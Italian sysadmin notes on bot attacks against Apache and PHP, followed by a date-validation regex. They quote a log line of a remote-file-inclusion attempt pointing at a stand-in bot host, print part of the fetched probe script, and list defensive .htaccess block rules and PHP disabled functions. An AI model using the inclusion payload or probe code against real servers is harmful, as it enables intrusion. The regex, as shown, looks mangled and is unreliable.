Appunti vari

Bot e Apache

Si rilevano in questo periodo nei log diversi tentativi di esecuzione remota di script da parte di di BOT (ad esempio r57shell o mic32).

Ecco un esempio di attacco tipico:

xxx.xx.xxx.xx - - [21/Jan/2008:13:27:54 +0100] "GET /admin.php?include_path=http://example_botsite.com/safe.txt? HTTP/1.1" 404 8832 "-" "libwww-perl/5.808"

Che comandi cercano di eseguire?
Ecco il codice:

<php>
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;
}
if ($free < 0) {$free = 0; }
echo "Free:".view_size($free)."<br>";
$cmd="id";

[omissis]

} function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";
} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";
} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";
} return $size;
} }
</php>

In pratica viene sondato il web server circa il sistema operativo, le versioni del software, lo spazio libero e viene provato ad aprire una shell di sistema.

Questo tentativo ed altri similari, hanno in comune l'user agent con il quale si presentano al server. Possono venire filtrati semplicemente aggiungendo al file .htaccess di apache tre righe: RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl/[0-9] [NC]
RewriteRule ^.* - [F,L]


In questo modo chiunque si presenti al server con user agent uguale a libwww-perl + versione viene ignorato e gli viene restituito un errore 403

Inoltre per filtrare altri tipi di attacchi tipo Remote Root Site Exec, SQL Injection, sempre nel file .htaccess è possibile aggiungere queste righe: #IF the URI contains a "http:"
RewriteCond %{QUERY_STRING} http\: [OR]

#OR if the URI contains a "["
RewriteCond %{QUERY_STRING} \[ [OR]

#OR if the URI contains a "]"
RewriteCond %{QUERY_STRING} \] [OR]

#OR if the URI contains a "<script>"
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

#OR script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

#OR any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR]

#IF the URI contains UNION
RewriteCond %{QUERY_STRING} UNION [OR]

#OR if the URI contains a *
RewriteCond %{QUERY_STRING} \*

RewriteRule ^.*$ - [F,L]

Ovviamente questa è una misura banale per affrontare il problema, invece un metodo un po' piu' serio per affrontare il problema è quello di disattivare in PHP.ini alcune delle funzioni piu' critiche ad esempio:

disable_functions = exec, show_source, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl
In questo modo aumentiamo un pochino la sicurezza del nostro sistema.

Espressioni Regolari


Per validare le date nei form e negli script è possibile utilizzare le espressioni regolari. Per il formato data italiano è possibile utilizzare questa regexp:

^(((0?[1-9]|[12]\d|3[01])[\.\-\/](0?[13578]|1[02])[\.\-\/]((1[6-9]
|[2-9]\d)?\d2|\d))| ((0?[1-9]|[12]\d|30)[\.\-\/](0?[13456789]|
1[012])[\.\-\/]((1[6-9]|[2-9]\d)?\d2|\d))| ((0?[1-9]|1\d|2[0-8])
[\.\-\/]0?2[\.\-\/]((1[6-9]|[2-9]\d)?\d2|\d))|(29[\.\-\/] 0?
2[\.\-\/]((1[6-9]|[2-9]\d)?(0[48]|[2468][048]|[13579][26])
|((16|[2468][048]| [3579][26])00)|00|[048])))$

Verranno validate le seguenti date:

1/1/2005 e 29/02/12 e 29/02/2400

Fonte: http://www.regexlib.com/